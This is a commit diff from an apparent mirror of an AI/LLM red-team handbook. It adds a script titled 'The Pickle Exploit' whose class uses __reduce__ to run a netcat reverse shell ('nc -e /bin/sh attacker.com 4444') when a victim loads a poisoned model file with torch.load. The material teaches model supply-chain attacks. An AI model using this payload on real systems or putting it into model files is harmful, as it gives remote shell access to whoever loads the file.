mirror of
https://github.com/Shiva108/ai-llm-red-team-handbook.git
synced 2026-08-27 21:30:27 +02:00
Add practical scripts directory with 400+ tools
- Extracted all code examples from handbook chapters - Organized into 15 attack categories - Created shared utilities (api_client, validators, logging, constants) - Added workflow orchestration scripts - Implemented install.sh for easy setup - Renamed all scripts to descriptive functional names - Added comprehensive README and documentation - Included pytest test suite and configuration
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
44.5.1 The Pickle Exploit
|
||||
|
||||
Source: Chapter_44_Emerging_Threats
|
||||
Category: utils
|
||||
"""
|
||||
|
||||
import pickle
|
||||
import os
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
# This command runs when the victim does `torch.load('model.bin')`
|
||||
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
|
||||
|
||||
# Generating the payload
|
||||
# payload = pickle.dumps(MaliciousModel())
|
||||
# with open('pytorch_model.bin', 'wb') as f:
|
||||
# f.write(payload)
|
||||
|
||||
|
||||
def main():
|
||||
"""Command-line interface."""
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
|
||||
args = parser.parse_args()
|
||||
|
||||
# TODO: Add main execution logic
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user